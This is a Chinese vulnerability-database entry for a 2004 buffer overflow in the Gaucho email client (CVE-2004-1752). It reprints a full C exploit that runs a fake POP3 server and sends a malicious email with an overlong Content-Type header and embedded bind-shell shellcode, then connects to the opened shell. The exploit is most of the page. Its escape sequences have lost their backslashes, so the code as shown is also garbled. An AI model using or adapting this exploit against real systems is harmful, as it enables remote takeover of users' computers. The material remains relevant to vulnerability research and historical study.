Gaucho Email客户端远程缓冲区溢出漏洞

漏洞ID	1108146	漏洞类型	边界条件错误
发布时间	2004-08-27	更新时间	2005-10-20
CVE编号	CVE-2004-1752	CNNVD-ID	CNNVD-200408-219
漏洞平台	Windows	CVSS评分	7.5

|漏洞来源

https://www.exploit-db.com/exploits/421
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200408-219

|漏洞详情

Gaucho是一款NakedSoft开发的基于Windows的EMAIL客户端。Gaucho在处理包含超长Content-Type字符的EMAIL消息缺少正确的边界缓冲区检查，远程攻击者可以利用这个漏洞发送恶意邮件给目标用户，可能以进程权限在系统上执行任意指令。Gaucho在接收来自POP3服务器上的畸形邮件时可导致缓冲区溢出。如果攻击者发送邮件头包含超长字符串的Content-Type的邮件消息，当Gaucho处理时可触发缓冲区溢出，精心构建提交数据可能以进程权限在系统上执行任意指令。

|漏洞EXP

//************************************************************************** 
// Gaucho Ver 1.4 Mail Client Buffer Overflow Vulnerability 
// Bind Shell POC Validation Code for English Win2K SP4 
// 10 Aug 2004 
// 
// Gaucho is an Email client developed by NakedSoft for Microsoft Windows 
// platforms.   Gaucho supports SMTP, POP3 and other email delivery protocols. 
// Gaucho version 1.4 is vulnerable to a buffer overflow when receiving 
// malformed emails from a POP3 server.   This vulnerability is triggered if the 
// POP3 server returns a specially crafted email that has an abnormally long 
// string in the Content-Type field of the email header. This string will 
// overwrite EIP via SEH, and can be exploited to execute arbitrary code. 
// 
// This POC code simulates a POP3 server that sends a specially crafted email 
// to Gaucho, triggering the overflow and binds shell on port 2001 of a vulnerable 
// Gaucho email client. 
// 
// Tested on Win2K SP4, you must find the address of JMP EDI instruction that 
// is suitable for your system. 
// 
// Advisory 
// http://www.security.org.sg/vuln/gaucho140.html 
// 
// Greetz: snooq, sk, and all guys at SIG^2 (www.security.org.sg) 
// 
//************************************************************************** 

#include <winsock2.h> 
#include <windows.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <conio.h> 
#pragma comment(lib,"ws2_32.lib") 

bool tcpInit() 
{ 
WORD wVersionRequested; 
WSADATA wsaData; 
int err; 

wVersionRequested = MAKEWORD( 2, 0 ); 

err = WSAStartup( wVersionRequested, &wsaData ); 
if ( err != 0 ) { 
return false; 
} 
  
if (LOBYTE( wsaData.wVersion ) != 2 || 
        HIBYTE( wsaData.wVersion ) != 0 ) 
{ 
WSACleanup(); 
return false; 
} 

return true; 
} 


SOCKET tcpListen(int port) 
{ 
    SOCKET sock; 

sock = socket(AF_INET, SOCK_STREAM, 0); 

if(sock == INVALID_SOCKET) 
return sock; 

sockaddr_in sin; 

sin.sin_addr.s_addr = htonl(INADDR_ANY); 
sin.sin_family = AF_INET; 
sin.sin_port = htons(port); 

if(bind(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR) 
{ 
printf("Error in bind().n"); 
closesocket(sock); 
return INVALID_SOCKET; 
} 

if(listen(sock, 5) == SOCKET_ERROR) 
{ 
printf("Error in bind().n"); 
closesocket(sock); 
return INVALID_SOCKET; 
} 

return sock; 
} 


DWORD resolveIP(char *hostName) 
{ 
hostent *hent; 
char **addresslist; 
DWORD result = 0; 

hent = gethostbyname(hostName); 
if(hent) 
{ 
addresslist = hent->h_addr_list; 

if (*addresslist) 
{ 
result = *((DWORD *)(*addresslist)); 
} 
} 

return result; 
} 


SOCKET tcpConnect(char *host, int port) 
{ 
    SOCKET sock; 

sock = socket(AF_INET, SOCK_STREAM, 0); 

if(sock == INVALID_SOCKET) 
return sock; 

sockaddr_in sin; 

DWORD ip = resolveIP(host); 
if(ip == 0) 
ip = inet_addr(host); 

sin.sin_addr.s_addr = ip; 
sin.sin_family = AF_INET; 
sin.sin_port = htons(port); 

    if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR) 
{ 
printf("Connect failed.n"); 
closesocket(sock); 
return INVALID_SOCKET; 
} 

return sock; 
} 


void shell(int sockfd) 
{ 
char buffer[1024]; 
fd_set rset; 
FD_ZERO(&rset); 

for(;;) 
{ 
if(kbhit() != 0) 
{ 
fgets(buffer, sizeof(buffer) - 2, stdin); 
send(sockfd, buffer, strlen(buffer), 0); 
} 

FD_ZERO(&rset); 
FD_SET(sockfd, &rset); 

timeval tv; 
tv.tv_sec = 0; 
tv.tv_usec = 50; 

if(select(0, &rset, NULL, NULL, &tv) == SOCKET_ERROR) 
{ 
printf("select errorn"); 
break; 
} 
        
if(FD_ISSET(sockfd, &rset)) 
{ 
int n; 

ZeroMemory(buffer, sizeof(buffer)); 
if((n = recv(sockfd, buffer, sizeof(buffer), 0)) <= 0) 
{ 
printf("EOFn"); 
exit(0); 
} 
else 
{ 
fwrite(buffer, 1, n, stdout); 
} 
} 
} 
} 


#define OK_MSG"+OK POC POP3 server for Gaucho Ver 1.4 Vulnerability ready.rn" 
#define STAT_REPLY"+OK 1 1rn" 


char UIDL_REPLY[] = 
"1 0123456789012345678901234567890123456789rn.rn"; 


unsigned char bindShellEmail[] = 
"Date: Mon, 09 Aug 2004 19:44:13 +0800rn" 
"Subject: Testingrn" 
"To: [email protected]" 
"From: XX <[email protected]>rn" 
"Message-ID: <[email protected]>rn" 
"MIME-Version: 1.0rn" 
"Content-Type: " 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG1HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG" 
"x37x55x62x76"// overwrites EIP via SEH, address of JMP EDI in MPR.dll 
// this address must be carefully chosen due to the filtering that is done 
// on the header messages. 

"IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG3HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG4HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG5HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG6HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG7HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG8HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG9HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGGAHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGGBHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGGCHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG" 
"xEBx60"// FIRST jmp lands us here, do a SECOND jmp to land onto shellcode 
"HHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
";" 
"x90x90xEBx61"// JMP EDI lands here, do the FIRST jmp here to reach the SECOND jmp 
"set=US-ASCIIrn" 
"rn" 
"x90x90"// shellcode sent in email body to avoid filtering (bindshell on 2001) 
"xEBx62x55x8BxECx51x56x57x8Bx5Dx08x8Bx73x3Cx8Bx74" 
"x33x78x03xF3x8Bx7Ex20x03xFBx8Bx4Ex18x56x33xD2x8B" 
"x37x03x75x08x33xDBx33xC0xACx85xC0x74x09xC1xCBx0C" 
"xD1xCBx03xD8xEBxF0x3Bx5Dx0Cx74x0Bx83xC7x04x42xE2" 
"xDEx5Ex33xC0xEBx17x5Ex8Bx7Ex24x03x7Dx08x66x8Bx04" 
"x57x8Bx7Ex1Cx03x7Dx08x8Bx04x87x03x45x08x5Fx5Ex59" 
"x8BxE5x5DxC3x55x8BxECx33xC9xB1xC8x2BxE1x32xC0x8B" 
"xFCxF3xAAxB1x30x64x8Bx01x8Bx40x0Cx8Bx70x1CxADx8B" 
"x58x08x89x5DxFCx68x8Ex4Ex0ExECxFFx75xFCxE8x70xFF" 
"xFFxFFx83xC4x08xBBxAAxAAx6Cx6CxC1xEBx10x53x68x33" 
"x32x2Ex64x68x77x73x32x5Fx54xFFxD0x89x45xF8xEBx35" 
"x5Ex8Dx7DxF4x33xC9xB1x09xFFx36xFFx75xFCxE8x40xFF" 
"xFFxFFx83xC4x08x85xC0x75x0Ex90xFFx36xFFx75xF8xE8" 
"x2ExFFxFFxFFx83xC4x08x89x07x33xC0xB0x04x03xF0x2B" 
"xF8xE2xD5xEBx29xE8xC6xFFxFFxFFx72xFExB3x16x35x54" 
"x8AxA1xA4xADx2ExE9xA4x1Ax70xC7xD9x09xF5xADxCBxED" 
"xFCx3BxEFxCExE0x60xE7x79xC6x79xADxD9x05xCEx54x6A" 
"x02xFFx55xE0x33xC0x50x50x50x50x6Ax01x6Ax02xFFx55" 
"xE4x89x45xD0x33xC0x50xB8xFDxFFxF8x2Ex83xF0xFFx50" 
"x8BxC4x6Ax10x50xFFx75xD0xFFx55xE8x6Ax05xFFx75xD0" 
"xFFx55xECx85xC0x75x68x8BxCCx6Ax10x8BxDCx33xC0x50" 
"x50x53x51xFFx75xD0xFFx55xF0x8BxD0x5Bx83xF0xFFx74" 
"x4Ex8BxFCx33xC9xB1x64x33xC0xF3xAAxC6x04x24x44x66" 
"xC7x44x24x2Cx01x01x89x54x24x38x89x54x24x3Cx89x54" 
"x24x40x8BxC4x8Dx58x44xB9xFFx63x6Dx64xC1xE9x08x51" 
"x8BxCCx52x53x53x50x33xC0x50x50x50x6Ax01x50x50x51" 
"x50xFFx55xF4x5Bx6AxFFxFFx33xFFx55xD4xFFx55xD8xFF" 
"x75xD0xFFx55xD8x50xFFx55xDC" 
"rn" 
".rn"; 

unsigned char pocEmail[] = 
"Date: Mon, 09 Aug 2004 19:44:13 +0800rn" 
"Subject: Testingrn" 
"To: [email protected]" 
"From: XX <[email protected]>rn" 
"Message-ID: <[email protected]>rn" 
"MIME-Version: 1.0rn" 
"Content-Type: " 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG1HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG" 
"HHHH"// overwrites EIP via SEH 
"IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG3HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG4HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG5HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG6HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG7HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG8HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG9HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGGAHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGGBHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGGCHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGGDHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"; charset=US-ASCIIrn" 
"Content-Transfer-Encoding: 7bitrn" 
"X-Mailer: Gaucho Version 1.4.0 Build 145rn" 
"rn" 
"Testingrn" 
"rn" 
".rn"; 


void genUIDLreply(char *ptr) 
{ 
srand(GetTickCount()); 
for(int i = 2; i < 42; i++) 
{ 
ptr = (rand() % 94) + 0x21; 
} 
} 

void printUsage(char *filename) 
{ 
printf("nUsage: %s <mode>nn", filename); 
printf("   Mode can be:n"); 
printf("   1 - POC Crashn" 
  "   2 - Bindshell on Port 2001 (JMP EDI address is hardcoded for Win2K SP4)nn"); 
} 

int main(int argc, char* argv[]) 
{ 
printf("Proof-of-Concept POP3 server for Gaucho Ver 1.4 Vulnerabilityn"); 
if(argc != 2) 
{ 
printUsage(argv[0]); 
return 1; 
} 

int mode = atoi(argv[1]); 
if(mode != 1 && mode != 2) 
{ 
printf("nINVALID MODE!n"); 
printUsage(argv[0]); 
return 1; 
} 

if(!tcpInit()) 
{ 
printf("Cannot start Winsock!n"); 
return 1; 
} 
SOCKET s = tcpListen(110); 
if(s == INVALID_SOCKET) 
{ 
printf("Cannot create listening socket!n"); 
return 1; 
} 
printf("Listening on POP3 port 110...n"); 

struct sockaddr_in sin; 
int sin_size = sizeof(sin); 
SOCKET client = WSAAccept(s, (SOCKADDR *)&sin, &sin_size, NULL, 0); 
char buffer[1024]; 
int recvSize; 

if(client != INVALID_SOCKET) 
{ 
// POP3 banner 
send(client, OK_MSG, strlen(OK_MSG), 0); 
recvSize = recv(client, buffer, sizeof(buffer), 0); 
if(recvSize <= 0) 
return 1; 

fwrite(buffer, recvSize, 1, stdout); 

// OK to USER 
send(client, OK_MSG, strlen(OK_MSG), 0); 
recvSize = recv(client, buffer, sizeof(buffer), 0); 
if(recvSize <= 0) 
return 1; 

fwrite(buffer, recvSize, 1, stdout); 

// OK to PASS 
send(client, OK_MSG, strlen(OK_MSG), 0); 
recvSize = recv(client, buffer, sizeof(buffer), 0); 
if(recvSize <= 0) 
return 1; 

fwrite(buffer, recvSize, 1, stdout); 

// REPLY to STAT 
send(client, STAT_REPLY, strlen(STAT_REPLY), 0); 
recvSize = recv(client, buffer, sizeof(buffer), 0); 
if(recvSize <= 0) 
return 1; 

fwrite(buffer, recvSize, 1, stdout); 

// REPLY to UIDL 
genUIDLreply(UIDL_REPLY); 
send(client, STAT_REPLY, strlen(STAT_REPLY), 0); 
send(client, UIDL_REPLY, strlen(UIDL_REPLY), 0); 
recvSize = recv(client, buffer, sizeof(buffer), 0); 
if(recvSize <= 0) 
return 1; 

fwrite(buffer, recvSize, 1, stdout); 

// REPLY to LIST 
send(client, STAT_REPLY, strlen(STAT_REPLY), 0); 
recvSize = recv(client, buffer, sizeof(buffer), 0); 
if(recvSize <= 0) 
return 1; 

fwrite(buffer, recvSize, 1, stdout); 

if(mode == 1) 
{ 
// send malicious email 
send(client, (char *)pocEmail, strlen((char *)pocEmail), 0); 
printf("POC crash email sent...n"); 

recvSize = recv(client, buffer, sizeof(buffer), 0); 
if(recvSize <= 0) 
return 1; 

fwrite(buffer, recvSize, 1, stdout); 
} 
else 
{ 
// send malicious email 
send(client, (char *)bindShellEmail, strlen((char *)bindShellEmail), 0); 
printf("Bindshell email sent.   Sleeping for 2 seconds...n"); 
Sleep(2000); 

//================================= Connect to the target ============================== 
SOCKET sock = socket(AF_INET, SOCK_STREAM, 0); 
if(sock == INVALID_SOCKET) 
{ 
printf("Invalid socket return in socket() call.n"); 
WSACleanup(); 
return -1; 
} 

sin.sin_family = AF_INET; 
sin.sin_port = htons(2001); 

if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR) 
{ 
printf("Exploit Failed. SOCKET_ERROR return in connect call.n"); 
closesocket(sock); 
WSACleanup(); 
return -1; 
} 

printf("n"); 
shell(sock); 
} 
} 

return 0; 
} 

// milw0rm.com [2004-08-27]

|参考资料

来源:XF
名称:gaucho-pop3-bo(17090)
链接:http://xforce.iss.net/xforce/xfdb/17090
来源:BID
名称:11023
链接:http://www.securityfocus.com/bid/11023
来源:www.security.org.sg
链接:http://www.security.org.sg/vuln/gaucho140.html
来源:SECTRACK
名称:1011032
链接:http://securitytracker.com/id?1011032
来源:SECUNIA
名称:12387
链接:http://secunia.com/advisories/12387
来源:BUGTRAQ
名称:20040826Gauchov1.4Build145BufferOverflow
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=109364123707953&w;=2

相关推荐: StarOffice StarScheduler远程缓冲区溢出漏洞

StarOffice StarScheduler远程缓冲区溢出漏洞漏洞ID 1206593 漏洞类型缓冲区溢出发布时间 2000-03-09 更新时间 2005-05-02 CVE编号 CVE-2000-0175 CNNVD-ID CNNVD-20000…

文章版权归作者所有，未经允许请勿转载。

THE END